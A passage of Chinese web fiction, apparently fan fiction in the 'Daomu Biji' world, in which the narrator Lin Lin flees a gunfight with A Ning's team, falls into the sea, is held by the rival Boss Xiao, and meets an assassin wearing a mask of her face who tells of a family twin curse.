我怒火中烧,移开视线,死盯着旁边桌上的一排高脚杯,里面淡金色的酒液折射出粼粼的光。我一把捞过杯子,把自己砸到沙发里猛灌一大口,接着狂吃起桌上的精致糕点。
别说,还真好吃。我心情好了点,开始琢磨等宴会结束卷点茶歇回去。
在此期间阿宁一直看着我,她走到我对面坐下,我们中间隔着一个低矮的茶几。
她说:“等会儿你跟我们走。”
我愣了愣,心说去美国看病也不用这么急吧,我的保镖工资还没拿到呢。难道她恢复记忆了,打算诓我走?
她也端起酒杯抿了一口,抬头不动声色扫了一圈,低声道:“我们被人给盯上了,我怀疑有人会在宴会结束后动手。你原本和此事无关,但阿Z和你打了招呼,老板又和你说了话。现在你很可能被认为是我们的人了,为了你的安全,我建议你先跟我们一起离开。”
阿Z就是那个大型哈士奇,我几乎无语了:“你手下借我打打,他可真是给我找了个大麻烦。”
阿宁苦笑了下,显然也很头疼。
知道可能会有危险,我也紧张起来,环视了金光闪闪的大厅一圈,看谁都像杀手,连他们脸上的笑也变假了许多,仿佛下一刻就会从西裤、礼裙下面掏出□□,疯狂地无差别扫射。
我的心提起来,脑中快速思索。在大厅里动手不太可能,聪明人不会惊动官方,死伤人数太大这事会造成外交危机,在座各位都是千年的狐狸,不会蠢到这种地步。
我确认道:“是不是那个叫肖老板的?”
阿宁诧异地看我,点点头,大概是意外我怎么知道的。
我疯狂运转脑子,肖老板可能要动手,我如果不和他们走,阿宁和裘德考扬长而去,逃之夭夭,那和他们有关系的我一定会倒霉,被盛怒的肖老板直接杀了都有可能。
我必须和阿宁一起走。
想好关键,我立刻起身,快速穿过一楼大厅,穿过走廊,来到总经理办公室,敲敲门:“我是林霖。”
“进。”
我闪身进去,关好门,开门见山说:“总经理,待会儿晚宴,我会和裘德考先生一起走。”
我思索了下,在想怎么解释,没想到总经理毫不意外地说:“没问题,你的枪留下。”
这么好说话?我愣住了。总经理从一堆监控显示屏中抬起头,笑了笑说:“你是阿宁的人?你们还真是有够谨慎的。”
我懵了,看她一脸“我就知道”的样子,辩解道:“……不,其实我只是个普通……”
她打断了我的话,欣赏地看着我:“林小姐,我们国际饭店也有自己的手段和消息来源,你枪法如神,住着最好的酒店却来我们饭店应聘,如果不是对你进行了调查,我甚至以为你蓄意是来搞破坏的,现在看来,原来是有主之士。”
“你放心,我们是中立派,不会掺和到任何一方的斗争中。你请便。”
我卸了枪,被总经理十分客气地送出门。
走在回去的路上,我越想越不对劲,最后猛然一拍大腿,明白过来。
我拿不到工资了。
我如丧考妣,伤心地走回去坐下,一言不发。
我换回了自己的休闲服,虽然在满是晚礼服和西装的人群里依然不伦不类,但我已经没有心思关注这些了。
阿宁问我怎么了。
我扶额,说:“现在不仅仅肖老板认为我是你们的人,连饭店都觉得我是你们安插的人手,我真想不明白,谁家安插的探子会怎么轻易暴露出来啊?哈士奇当众把我叫出来这不是太蠢了吗?”
阿宁觉得好笑,想了想道:“阿Z也只是一方面,大概是她们查到了你那张卡,是我名下,这才是她们敢确信的证据。”
我一下恍然,怪不得我入职这么容易,敢情饭店以为她们在卖阿宁公司一个面子。
太复杂了,太复杂了。我郁闷地吃东西,感觉自己像被耍了,还背锅了,什么都没捞着,还上了肖老板的通缉名单。
我像蔫掉的茄子一样萎靡不振,化悲痛为食欲,剿灭一切看到的食物。
阿宁斟酌了下,说:“我们在中国也有不少业务,你可以来我们公司,做一些文职工作。按照中国人的话来说,这是坐办公室的职位,比较舒适安逸。”
我嘴里还塞着蛋糕,停止咀嚼,惊讶地抬起头。
这是第二次了,阿宁又给我发了offer,在她什么都不记得的情况下。
我看了她几秒,心里叹了口气,依然拒绝了。
……
晚宴很快结束了,一个领导干部样子的官上去讲了几句场面话,大家开始鼓掌,我假装捧场,心不在焉的到处看。正好和一个人对视了。
正是肖老板,她对我冷冷一笑,眼神寒的刺骨,杀气凝结成丝,包裹了我。
那眼神恨意太强,简直要吃人一样,我感到十分不适,立刻后退一步,这时,阿宁走过来,皱起眉挡住肖老板的视线,一只手抓住我,把我往一个方向带。
我低下头,顺着她的力道走,周围的人逐渐减少,夜晚清凉的风拂面而来。我一看,这是一条员工通道,前面的小门半掩着,有人守在那里,目光警惕。
我们快速出了门,门口低调地停着两辆车,裘德考从另一个门匆匆出来,所有人立刻上车。
车子汇入璀璨如星河的主路,我们后面还有车队,看样子也是阿宁的人。情况似乎没这么严重,我稍微放松些,看着对向川流不息的车流,说:“应该没事,肖老板不会丧心病狂到在这里动手。”
阿宁不在这辆车上,她和裘德考在前面。开车的是哈士奇,他正苦恼我一晚上都不理他,闻言兴奋地说:“我也这么认为的!你看看!”
他两只手放开方向盘,探身到后面一捞,拿出两只装了消音器
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的长枪,献宝似的递给我:“宁姐准备的充分,车上可多枪了。这两把给你玩。”
我立刻让他看路,前面是个路口红灯,车都停了下来,我们车头都快怼到阿宁他们车屁股上了。不知道哈士奇怎么入阿宁公司的眼的,不靠谱的要命。
我偷偷摸摸在仪表台下面看枪,后座有人笑着说:“林小姐放心看,车玻璃从外面什么都看到不到。”
我一看车玻璃,果然,不仅暗,还厚,估计是防弹级别的。
车子开了一个小时,完全没有任何事发生,我的心渐渐平静下来,其他人也不再一直看后视镜了,我们甚至开始闲谈。
忽然,后面一声炸响,有辆车失控起来,歪歪扭扭冲出马路,扎入野地。
“什么情况?”我心里涌起不好的预感,哈士奇陡然提速,发动机轰鸣作响,仿佛某种大型野兽终于苏醒,正发出呜隆的低吼。
后座传来咔嚓声,这我已经很了解了,是子弹上膛的声音,后座一扫轻松的表情,气质一瞬间像个军人,说:“肖老板动手了,有辆车车胎打爆了。阿Z,加速!不能让我们的车胎受到连续射击!”
话音刚落,子弹砰地打上后玻璃,紧接着,四周的黑暗中亮起火线,无数子弹从后面射过来,交织成刺目的网,几乎要把我们包围。
阿宁的车也瞬间提速,车尾冒出大量白烟,我们后面有人在反击,我看不到情况,但可以想象到这样密集的弹雨打的有多么激烈。
“真是疯了!这才刚出上海市区!他们当中国政府是傻子吗!”有人大吼。
双方都拿着装了消音器的枪对轰,隐隐像是闷雷声,后视镜有火光炸成一团,震动和爆炸声下一刻传来,我们车身都抖了抖,不知道谁的油箱被打爆了。
公路极速后退,路两边的线条虚化成线,像是游戏里飙车的样子。哈士奇牢牢握着把手,在这种速度下,任何小幅度的方向偏移都会造成车辆侧翻疯狂翻滚。
我的心紧紧揪起来,后背死死压住椅背,右手抓住头上扶手,已经出了一身的汗。
路逐渐变的不平起来,这里已经完全离开了上海,照这个速度,我怀疑我们会不会一直开到海里去。
哈士奇聚精会神目视前方,安慰我:“我们这里是最后一道防线,他们追不上的。”
话音刚落,炸雷般的轰鸣极速逼近,两辆机车一左一右包抄过来,转瞬间就到了我们车尾,刺目的白光从后视镜反射来,我几乎不敢相信,立刻看了眼速度表,红色的指针达到了惊人的355km/h,这种速度,哈士奇相当于开着高铁在公路上跑,怪不得我感觉自己要升天了。
我浑身都僵硬了,这么恐怖的速度,肖老板的人还能追上来!我恐惧的看后视镜,却发现根本不用看了,后座窗玻璃外,戴着黑色头盔的机车人和我们贴的极近,要是我此刻降下玻璃我们说不定还能握握手。
我忽然感觉哪里不对劲,漆黑的夜里,机车人的身躯也笼罩在无边暗夜中,离近了,我发现,他的身体体态十分奇怪,黑色的衣服包裹着的,比普通人身躯庞大了一倍。
17.坠海
我立刻僵住了,浑身血液几乎倒流,这是什么怪物?胖子也没有这么宽吧?难道肖老板杀疯了放出了什么古猿人追杀我们?
下一刻,一支枪黑洞洞伸出来,对着后座玻璃爆打,高强度的定点攻击防弹玻璃也支撑不住,马上出现可怖的裂缝。与此同时,驾驶位的玻璃也遭到了猛烈攻击。
我往左边一看,原来机车上有两个人,一个人攻击,一个人开车。不是什么体型庞大的怪物,两个人都穿着黑色紧身衣,在黑夜中几乎融为一体。
哈士奇立刻踩死油门,可是即使是改装过的车,速度也已经到了极限,我甚至隐隐闻到一股刺鼻的汽油味。
“帮我解决他!”哈士奇大吼,左后座立刻打开一条缝,对着左侧的机车爆打,机车人也是好手,立刻减速躲子弹。
没有人要求我也这么做,但我后面的人正受到巨大危险,一旦玻璃打爆,车身不再密闭,我们四个会处于一种非常危险的境地。
但这么快的速度我朝他们开枪,无论中弹还是翻车,都是死路一条,那我就杀人了。
可是我不这么做,一旦他们打爆玻璃,难道我就有活路了吗?
只是一瞬间的功夫,我作出决断,立刻端起枪,扭身开窗,压根没有瞄准,对着机车灯光就是一阵扫射,被后坐力震的手心发麻。
灯光瞬间远离,从后视镜看,这批经验丰富的杀手减了速,没有中弹也没有翻车。尾随在我们后面密集地攻击轮胎和后玻璃。
我偷偷松了口气,还好人没被我打死,但很快又升起一种背叛队友的感觉,害怕又难受。
这种感觉还没持续多久,不详的巨大轰鸣声又传过来,阿Z脸色难看:“不好,更多的人追来了!”
我猛地抓住枪,一颗心不断落入谷底,下一刻,巨大的爆裂声响起,车右后方的玻璃完全炸开,碎片崩的到处都是,后座立刻挂了彩。
他用英语大喊着什么,狂风中完全听不清,窗户碎了,风阻立刻大起来,车速下降了!
轰鸣声逼近,后座两人飞快地架起枪,疯狂扫射,火力压制下,他们不敢跑到车子侧面,却始终紧跟在我们屁股后面,贴的很近。
我快疯了,一瞬间想要不死了算了,不要在受这种煎熬。远处,似乎传来了警笛和救护车的尖锐警笛,我还没来得及高兴,突然,左后侧鬼魅般冲出一台机车,对着惊骇的后座就是一枪,他立刻无声倒下,不知死活。
右边后座立刻调转枪口,但来不及了,又是砰的一枪,他歪倒在同伴身上,眼睛瞪大。
所有的事情发生都是一瞬间,我还不能作出任何反应,枪口幽幽转向我,机车和汽车此刻保持了相对静止,我看到的画面几乎是定格的。
我的大脑还没反应过来,但身体立刻作出应对,以超越人类极限的速度先扣动扳机,机车立刻倒了,刺耳地摩擦出火星,燃起大火,阻断了这条单行土路。
我惊惧地扒着座椅,不敢相信刚刚自己做了什么,就在这时,呼呼灌风的后窗户,忽然伸出一只带血的手,扒住窗框,接着,一个森然的脸探出来,灯光下白的渗人。
我呆住了,第一反应就是鬼,三百多千米每小时的速度谁能扒着车?蜘蛛侠吗?
鬼脸上的血液飞快地被风吹飞,她眯着眼,上半身就要从窗户爬进来,我吓的大叫,这种恐怖程度不亚于下水道爬出来一个女鬼,或者镜子上突然出现血手印。
我吓的要死,条件反射开枪,她闪电般缩了回去,看不见了。阿Z说:“不好!是肖老板的王牌手下!竟然连她都派来了。刚刚一定就是她杀了他们两个!她现在弃了机车,趴我们车顶!”
场面几乎陷入绝境,杀手潜伏在车顶,时刻都能进来干掉我们。队友不知死活,阿Z只能开车,在这种情况下,竟然只有我还有一战之力。
极度危险中,我反而冷静了下来,反正大不了就是死,我本来就是要死的人了,我已经没有什么可以失去的了。
我一边朝两个窗户分别开枪,一边用沉着到自己都惊讶的语调说:“阿Z,你减速,换我开。”
阿Z呆住了,我尽力稳定我的眼神,看着他,让他相信我:“我开过赛车,能驾驶好。杀手我没有一战之力,换你来对付她。”
阿Z咬牙,追兵被火墙阻断了,但很快就会重新追上,他也知道这是最好的办法了,立刻减速,减到九十千米每小时的时候,他像一只灵活的猴子一样猛地向后一窜,落在后座,他脱手的瞬间,我立刻接替他的位置,车晃了晃,优秀的底盘稳住了。
我踩死油门,希望能把头上的杀手甩下去,但阿Z减速的时候就试过利用惯性这招,没有用。我怀疑她有什么能抓住车顶的工具。
阿Z没有管后座的人,只是警惕地盯着窗口。他在这时气质完全不一样了。
如果是我,我大概会忍不住看看后座还活着吗,这是人之常情。但此刻他们活还是死其实我们都没有任何办法,最重要的事避免杀手偷袭。
阿Z这种雇佣兵他们会最大程度
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衡量价值,这是最优解,但是我做不到。就是我和他们不是一类人的原因。
幸好杀手脱离机车时,大概也弃了枪,阿Z和杀手相互试探几下,都心有忌惮,一时间场面陷入了僵局。
恍惚和疯狂间,耳边忽然传来直升飞机的响声,阿Z狂喜:“是我们的人来接应了!”
我精神一振,远远望去,竟然看到了大海和弯月,我们竟然真的跑到海边了!空中一架武装直升飞机发出巨大噪音,它放下梯子,阿宁正带着裘德考飞快爬上去。
我立刻减速,前面有人打了几枪,车顶一震,上面的杀手似乎跑了。
我开车冲过去,后座还有气,我马上帮着几个人把伤员背到他们身上,他们立刻爬上直升飞机。
阿宁探出头,螺旋桨的轰鸣中几乎听不清话,她大吼:“快上来!”
身后机车的嗡鸣渐渐清晰,纷乱的白光照过来,我心急如焚,手脚并用爬上梯子子,下面没有人了,直升飞机立刻调转方向,飞了起来,我冷汗直流,几乎握不住杆子,下面看一眼就眩晕。
直升飞机速度很快,转眼飞到了海面上,我咬着牙往上爬,只有最后几节了,我暗暗给自己打气。
海岸边,肖老板的人气急败坏地停下,他们已经变成了小黑点,这个距离,机枪打不中了。
阿宁趴在机舱地板上,短发狂舞,神情焦急,伸出手大吼:“快把手给我!”
她似乎受伤了,血顺着手指一滴一滴砸下来,“快点!”她声音沙哑,几乎失声。
我紧紧抓住杆子,奋力把右手递给她,她上半身探出来一半,一把抓住我的手,就要往上拉。
这时,我忽然看到,她头上出现一个红点。
我心神剧震,浑身的血都要凉透了,我知道那是……狙击枪的红心瞄准!几乎没有任何思考,我猛地甩开她的手,这一瞬间,一切仿佛慢动作一样,阿宁骤然失去拉扯力,向上一甩,瞪大眼睛死死盯着我,目眦欲裂。
一颗子弹从我们中间射过去,仿佛蛮横地切断了什么。我那一瞬间有种直觉,我上不去了。一颗流弹飞过,我胳膊剧痛,火烧火燎一样,全身瞬间脱力,再也握不住杆子,无力坠落。
顷刻间,世界骤然离我远去,直升飞机急剧缩小,我跌入一片冰冷中,咸湿海水涌入我的口鼻,寒冷无孔不入,似乎连灵魂都要冻住。
我大脑开始发昏,眼前白光朦胧,像天国的梦。失去意识前,恍惚间,耳畔传来悲鸣,撕心裂肺:“林霖——”
18.“林霖”
我是在一个欧式的房间醒来的,看样子像是谁的卧室,床头边放着一个心电监护仪。
房间里空无一人,我愣了好几分钟才接受自己没挂这件事。最后的记忆是我掉海里了,差点给我拍死。
我估计这么高的高度我自由落体下来恐怕得骨折。姿势不对直接死了都有可能,现在还活着,真是老天保佑了。
身体慢慢有知觉,我尝试动了动,左胳膊大臂传来一股刺痛,看来流弹打到这里了。
胸腔也一阵闷痛,我摸了摸,肋骨那里肿了一块,不知道断了几根。
除此之外其他地方倒是还好,胳膊腿都能动,有点疼但还能忍。
我尝试坐起来,但肋骨立刻抗议,我只好躺了回去,观察着这个房间,是谁救了我?如果阿宁他们救了我,这个时候我旁边应该守着人吧?不说阿宁,哈士奇应该会呆在这儿,但是没有。
那情况就有些奇怪了,如果肖老板的人找到我,直接一枪崩了我就是,尸体大海一抛,无影无踪,没必要救我。
警方的人那更不可能,那我应该在医院。
正想着,门突然开了,一个穿黑色紧身衣的人走进来,目测有178以上,身体线条非常流畅,长手长脚,腕线过裆,像是动漫里的剪影。
她居高临下的瞥我一眼,龇牙一笑,双手抱臂向一旁退了几步,露出后面的肖老板。
我愣愣地盯着她,一下子认出她就是扒在车顶上的杀手。
看了看她一头黑长直和纯正的不能再纯正的黑眼睛,又看了看高鼻阔目的肖老板,心说怎么回事,现在的老外都喜欢找华裔当手下?
肖老板在一个欧式高椅子上坐下,审视地打量我,手腕一翻,我的老年机出现。
黑长直拿出遥控器按了下,我的床缓缓上升,把我上半身抬起来,我和肖老板大眼瞪小眼,她看我的眼神很冷。
我拿不准她什么目的,只好先试探下:“肖老板?谢谢你救了我。”话一出口我就觉得十分蠢,我掉海里不是她害的吗,我谢个毛线啊。
她大概也没料到我第一句会是这个,很奇怪地看了我一眼,用流利的中文问道:“你是什么人?你和裘德考还有吴家是什么关系?”
我明白过来了,她拿走了我的手机,看到了上面的联系人,对吴邪他家的势力有所忌惮所以才没杀我?
中国的明器圈子其实就那么大,她知道吴家很正常,她表面上是玩古董的,但看她这么声势浩大追杀裘德考的样子,看着恐怕不是善茬,私底下可能同样做着下地的勾当。
我回答道:“肖老板,我和裘德考没关系,真要说,也就是和阿宁有过一面之缘,至于吴邪,我和他算是朋友。”
“是吗?”肖老板冷笑起来,十指翻飞,像转笔一样玩我的手机,“一面之缘?林小姐,你知道吗,在你昏迷的时候阿宁打来电话,要求我立刻放了你。同时,那位吴家的少爷和你手机里的谁来着?”
黑长直接话:“王月半,北京的一位地头蛇。”
“对,全都向我发出警告。”肖老板饶有兴致,“你真是好大的派头,这么多人要保你。这可不像是一面之缘的关系啊。”
“更有趣的是,你的手机里除了这几个人,没有其他任何人的联系方式,你的亲人呢?到目前为止,你已经“失踪”48小时,我们也没有发现有人报警。林小姐,这很让我怀疑你的身份。”
肖老板冷眼盯着我,一边的黑长直似乎觉得无聊,抽出一把匕首,把自己头发放上去一缕,轻轻一吹,头发立刻断了,簌簌飘下来。黑长直拿匕首对我一点,歪头道:“要说实话哦。”
我的后背立刻渗出冷汗,黑长直的杀气不是假的,我怀疑我一旦撒谎被看出来,她能微笑着一根一根把我手指头切下来。
这都是什么事啊!我内心几乎崩溃,脑中拼命想办法,但是始终一片空白,我怎么说?
我绝对不能说实话,因为穿书什么的太魔幻了,而且书里没有写到其他国际势力,即使肖老板勉强相信了,问我她在书里的戏份验证真假,我屁都说不出来,她会立刻把我剁了。
真相已经不重要了,现在问题是,她能相信什么,她会相信什么,我该怎么说才能让她留下我的命?
心思急转,我坐在床上看着缎面的被子,忽然想到,她把我从海里捞上来,不仅没杀我,还救活了我,为什么?
她是对我的身份有什么猜测?这个猜测让她没有轻举妄动,选择了先试探我?
那我要做的,就是坐实她的猜测,让她知道我是不能被干掉的,或者干掉我是需要付出惨痛的,她承受不起的代价的。
心下渐渐明朗起来,我抬起头,放松地靠在大抱枕上,对她微微一笑:“肖老板不是有所猜测吗?抱歉,由于工作属性问题,我不能对您说出我的身份来历,您知道的,我们宣誓效忠……不会多说一个字。”
我的态度变化太大,肖老板脸色变了,靠墙的黑长直站直身体,很感兴趣地看着我。
我一看很有效果,继续忽悠人:“您可以试试,能不能查到我的蛛丝马迹。”
肖老板皱了皱眉,有些戾气的眉心拧起一个川字:“你是特工?中国政府会派你这样没有身手的人执行任务?”
我感觉膝盖中了一箭,大骂老外不会说话,道:“难道这不是最好的伪装吗?你不就是不相信我会做这种任务?不知道肖老板知不知道灯下黑这个中国成语?我越是不专业不了解,阿宁也好,吴邪也好,他们越不会怀疑我,我就越顺利。”
肖老板问:“这么说,你不是其中任何一方,你的任务我不感兴趣,我只想知道,你,或者你们,对裘德考是什么态度。”
我想了想,十分真情实意地说:“我不知道您和裘德考有什么恩怨,但我可以明确告诉您,我希望裘德考死,这个人,我们不会留情。”
肖老板脸色开始变幻,阴晴不定地盯着我看了一会儿,似乎在判断我言语的真假。越在这个时候,我越不能急,饵已经抛出,我要做的,就是静静等待。
只要她有一点不确定,只要她不发现我是个大骗子,不敢对我下手,挑战中国的权威,那我的目的就达到了。
我瞪着肖老板,我们的视线粘在一起,谁也不让步。
半晌,肖老板放松了些,往后坐了坐,一只手搭在扶手上,一只手比了个手势。
黑长直长腿一迈,从肖老板手里接过我的手机,递给
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我:“喏。”
气氛似乎缓和了下来,黑长直拍了两下手,外面涌进来几个厨师,带着高高的帽子,推着餐车,看起来十分专业地解说着什么,一边说一边掀开盖子展示。
黑长直无聊地翻译:“鹅肝酱配烤面包,法式洋葱汤…口感醇厚,香煎牛排配松露土豆泥,法式焦糖布丁。”
我怀疑她省略了一大段修饰和介绍,但这不是重点,我适时作出惊讶的表情:“这是?”
肖老板示意我接着银制刀叉,愉快地说:“敌人的敌人就是朋友。我想,我们或许可以谈一谈合作。”
……
和肖老板吃了一顿看似轻松,其实冷汗直冒,绞尽脑汁的饭,这尊大佛终于走了。黑长直最后一个离开,对我意味不明地笑了笑,十分变态。
我瘫在床上,感到由内而外的疲惫,简直要融化在床上。
这种耍心眼子的活真不适合我干,短时间还好,伪装久了我恐怕就先崩溃了。
手机果不其然卡被拔了,什么也干不了,里面有阿宁吴邪胖子的通话记录,都是在昨天。阿宁不知道说了什么,竟然有半小时记录。
复盘了下和肖老板的对话,我皱起眉,她相信了我,这似乎有些太容易了,老狐狸可能只是先稳住我,她一定还会调查。
我该怎么逃出去?据肖老板说,我现在还在中国,但我估计已经不在上海了,毕竟上海郊区发生这么严重的火拼,她肯定要避避风头。
我下了床,往外走,肋骨的阵痛比较严重,肖老板说我断了两根肋骨。稍微行动幅度大一点就痛的要命,还不能深呼吸,只能小口吸气,真是遭了老罪了。
打开门,外面两个看守,对我还算客气,但不让我出来。
我挪回去,无力地坐在床上,发着呆,她们把我软禁了。
这种受制于人感觉真是让人恼火,我从来没觉得人的人身自由这么珍贵,我现在就像一只笼中鸟,无比渴望外面的天空。
我知道现在什么都做不了,心里反而平静下来,一条条捋清楚我的处境。目前最大的希望还是阿宁他们,我负伤的身躯不能支撑我逃跑。
一直坐到晚上,我在房间柜子上找到一本中文小说,津津有味地看起来,直到有人进来。
是那个黑长直。灯光下,我发现这个杀手竟然有一双很美的眼睛,丹凤眼上扬,眼尾自然拉长,十分符合中国古典美人的标准,但她看着我,眼睛一眯,十分有攻击性:“有事?”
我连忙摇头。她一扬下巴,示意我看门口,似笑非笑:“我们老板让你见个人,很有趣呢。”
特意让我见,难道是我认识的人?
我脑海里飞快地过了一边,除了阿宁他们,我最熟的就是饭店总经理了,难道我连累了她,肖老板把她抓来了?
脚步声逐渐接近,我的心渐渐提起来,下一刻,门口出现一个人,穿着卡其色西装制服,同色系领带,条纹衬衫,一头栗色大波浪卷发。她对我笑了笑,声音无比熟悉:“你好,林霖。”
我头皮发麻,浑身血液几乎结冰,鸡皮疙瘩一阵一阵…她竟然长着一张,和我一模一样的脸?!
我看到了我自己的脸,世界上另一个林霖。
19.诅咒
我浑身都僵住了,这个“林霖”,太真实了,穿衣风格,发型,表情都和我一模一样,完完全全就是复刻版的我,这究竟是怎么回事?难道她才是我?
电光火石间,我突然想到了一个可能,说:“人皮面具?”
黑长直夸张地鼓了鼓掌,说:“你果然知道。接下来几天,我们这位‘林霖’将待在你身边,全方位学习着你的一言一语,一举一动,争取尽快copy出一个你。”
“等等。”我看着那个假林霖,她面部表情自然,皮肤纹理清晰可见,连额头的绒毛都和我一模一样。
我越看越恐怖谷,说:“你们这是什么意思?为什么要复制我?”
我心里一寒,难道想杀了我,用假林霖取代我?
黑长直看着我的神色,眼睛一弯,走过来按住我的肩膀,低声说:“林小姐别紧张,我们只是想借用你身份之便,去做一件事。你放心,事情结束以后,我们会让这个‘林霖’消失的。”
她搭在我肩膀上的手十分冰凉,丝丝冷意摄住了我,她阴冷的像一条毒蛇,盘住了我的脖子,吐信子威胁我。
“三天后,阿宁会带人来把你接走,不过,我们会送出那位假林霖。后面的事情就和你无关了,我们会选择一个合适的海边小镇放了你。”
事情完全超出了我的预料,我心中升起不详的预感,太阳穴突突直跳。
我甩开她的手,问道:“你们这样大费周章的到底想干什么?”看着她一脸神秘的笑我就来气,用我的脸搞事还不告诉我目的!
脑子里突然想到肖老板拼命追杀裘德考,疯狂到在中国动手。我一下想明白了:“你们要利用我杀裘德考?”
用我的脸,靠着阿宁,接近裘德考,进行刺杀!这么说,门口这个戴着我的面具的女人,是个顶尖杀手?
我惊疑不定地打量她,“林霖”回以一个微笑,带着淡淡的疏离感。我一愣,从来没觉得自己看起来竟然是这样的,煞是奇妙。
黑长直没有否认,也没问我同不同意。实际上我没有办法不同意,她们现在捏着我的小命呢。
假林霖被留下来了,有人送了餐过来,我边吃边看她,她也看我。
这太毛骨悚然了,想象你在卧室吃饭,有一个和你长的一模一样的人坐在旁边,姿势是你诡异的熟悉,你们还不断地对视,就像照镜子一样。
我食不知味,胃口全无。假林霖开口了,声音是用的她自己的:“林小姐你不用紧张,我不会伤害你的。”
她似乎没有恶意,语调轻松平常,声线年轻。我忍不住问:“中国人?”
她点点头,我叹了口气,心里觉得有点可惜,但她做这一行肯定是有自己的考量。我不可能对她指手画脚。
我问:“你只杀裘德考?”
“林小姐是想问我会不会杀阿宁吧?”她淡淡地笑了笑,“我只击杀任务目标,其他人不会过问,当然她要是挡路,我还是会出手的。”
我一万个不信。有人进来收餐盘,我去卫生间洗了洗手,糊了把脸,镜子里照出一张有些疲惫的脸,眼下带着淡淡的青黑。
轻轻叹了口气,不知道阿宁能不能认出来她不是我。
空气蒸发着脸上的水,带来冷意。我忽然想起坠海时,阿宁在狂风中飞舞的头发和竭力伸出的手。
哈士奇好像拼命拦腰抱住了她,不然阿宁看起来就要孤注一掷地扑下来了。
她看着我坠海,她是什么心情?恐怕吓坏了吧?得知我没死,落入肖老板之手,她又是什么心情?
我走回桌子边,打算继续看我的书。假林霖坐在沙发上,却突然问我:“能问一下你和阿宁是什么关系吗?”
“不能。”我说。
“狙击手是我妹妹,就是飞机上你松手后打过去的那发子弹。”假林霖说着,做了个梳长头发的动作。
是黑长直?
“你是她姐姐?”我惊讶地问,“看起来不像,你比她矮了很多。”
“当然是因为缩骨。”她突然噼里啪啦舒展身体,我眼睁睁看着“我”长高了十厘米,制服外套立刻变短了。
“……厉害。”
我嘴角抽搐,假林霖表达欲似乎很强,说:“不过我和这个妹妹关系不好,我不赞同她的做法。我是走稳健风格的,她太跳脱了,我经常感到头疼。”
我点点头,跳脱还是委婉了,黑长直说是疯子还差不多,我看到她,就想起来她扒在我油门踩死的车上,阴测测地笑。阴成什么样了都。
“她叫什么?”我问,记住她的名字,看以后有没有机会报仇。
“我们这行没有名字,你可以叫她鬼蝶。”
我说:“这么中二?听起来像日本动漫。”
假林霖失笑:“你猜的还真没错,有段时间她沉迷日漫,给自己起了这个代号,强迫大家都这么叫她。”
我一时间无语,假林霖继续说:“你小心点,她看起来对你很感兴趣。”
我说:“那又怎么样,难道她还能偷偷扣留我不成。”
“老板的话她还是听的,就是不知道你走了后,她会不会好奇跟着你。法国人很重视个人假期,她要是和老板请个假,那老板是不会联系她的,到时候她做什么我就不清楚了。”
我想了想鬼蝶一脸变态的笑,心中悚然,这事恐怕她真的能做出来,她看起来很闲又有病的样子,简直是翻版黑瞎子。
心里大骂神经病,我看着面前这个正常的不像话的姐姐,奇怪道:“你们性格看起来差别很大,为什么?”
同样的生长环境应该性格差异不会太大才对,为什么鬼蝶这么癫。
假林霖苦笑了下,低下头:“可能鬼蝶心里有些害怕吧。”
我瞪圆了眼,她?害怕?她能产生害怕这种情绪我直接把桌子吃了。
假林霖给我倒了杯水,说:“林小姐你不知道,鬼蝶没多长时间了。”
我迟疑了下,是我想的那个意思吗?
她说:“鬼蝶胎里带疾,活不过二十五,她现在二十三了。”
我心中一动,这黑长直竟然也是个短命鬼,不知道我和她谁命长。
“说来,这与我们家族有关,林小姐,你知道春秋战国时期的墨家吗?”
我愣住了,脑子里浮现四个字:“主张‘兼爱、非攻’的墨家?”
假林霖点点头:“墨家其实是最早的刺客团体雏形,主张以暴制暴,春秋战国时期策划参与了多起刺杀活动。
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后来朝代更迭,墨家渐渐销声匿迹,实则隐入暗处,形成了不同的家族分支,而我们这一支是最厉害的一支,在战争和动荡中避世不出,传承至今。”
“家族从小就以一种极端残酷严苛的方法训练我们,家族所有人都有好身手,出去的一两个甚至可以当国家首相的保镖。但越古老的家族,规矩越多,诅咒…也越多。”
我愣了下,关于历史、家族的诅咒并不是空穴来风。
美国肯迪尼家族在上世纪有多位成员死于非命,最著名的有美国总统约翰·肯尼迪在出差路上惨遭射杀。罗曼诺夫家族统治俄国三百余年,最终在近亲结婚和各种奇怪传说的诅咒下覆灭于二月革命。
在中国,诅咒是人们忌讳莫深的。假林霖她们那个家族,难道有什么可怕的事情发生过?
假林霖说:“从明代开始,我们家族就渐渐发现,凡是家族出身的双生子,成年后必有一个死去,无论女男。家族采用很多办法,包括求医,问仙,做法,都毫无作用。到了那个时间节点,双生子中必然有一个人死去。”
“族长认为,我们受到了某种奇怪的诅咒,后来,每有一对双生子出身,族中就选择掐死一个孩子,以规避掉诅咒。但很快发现,这并不可行。受到诅咒的人是特定的,掐死了那个没有被诅咒的孩子,诅咒并不能被转移或替代,受到诅咒的人也依然会死去。”
“由于刺客的特殊性,家族偏爱女孩,因为女孩的身体柔韧性更好,缩骨功也练的更好,更适合执行任务。往往一对异性双生子出身,女孩总是被希望是没有被诅咒的那个。最后如果是男孩活了下来,他往往会被族人厌弃,一辈子活在白眼里。”
“到了明代后期,家族终于找到了改变的方法,她们在云南一个规格很高的墓里九死一生找到了一种丹药,让怀了双生子的母亲服下,诅咒会降临到男孩身上,女孩则会安然无恙。”
假林霖叹了口气:“但这并不适用于相同性别的双胞胎,一直到现在,我们都没有任何办法摆脱这种诅咒。不幸的是,我和鬼蝶就是一对同性双胞胎。”
“那你怎么知道受到诅咒的是她,而不是你?”我问。
假林霖笑笑:“现代医学已经很发达了,我们效命于肖老板后,她带我们检查过,报告显示鬼蝶的血液里有一种不明物质,之前从来没有在人体内发现过,这也是我和她血液样本唯一的区别。实验室很感兴趣,研究几年了。去年告诉我们,这是一种她们无法理解的东西,但可以确定它像一个休眠的活火山,不知道什么时候就会爆发,把鬼蝶融化成虚无。”
我问:“根据你们家族的诅咒,一般会在二十五岁时验印?”
“没错。”她道。
我们没有说话,沉默了很久。
我像是听了个故事,但心里清楚,她说的都是真的,以前我可能是个无神论者,但现在经历了这么多,我再也没法骗自己他大爷的这个世界是唯物的了。
半晌,她又说:“林小姐,你知不知道我妹妹为什么对你这么感兴趣?”
我一愣:“为什么?”
她盯着我,眼神一瞬间像极了黑长直,一字一句道:“因为在你的血液里,我们也发现了这种不明物质,你也是被诅咒的人。”
20.惩罚
夜晚,我躺在床上,瞪着天花板。
呼吸放的很轻,因为我旁边的床上躺着假林霖。
她应该睡着了,没管我,但房间里多了一个陌生人,我很难不在意。
这个房间没有窗户,黑暗中唯一透出的光源,是烟雾报警器。
我盯着一闪一闪的绿光,看了半天,越看越清醒。
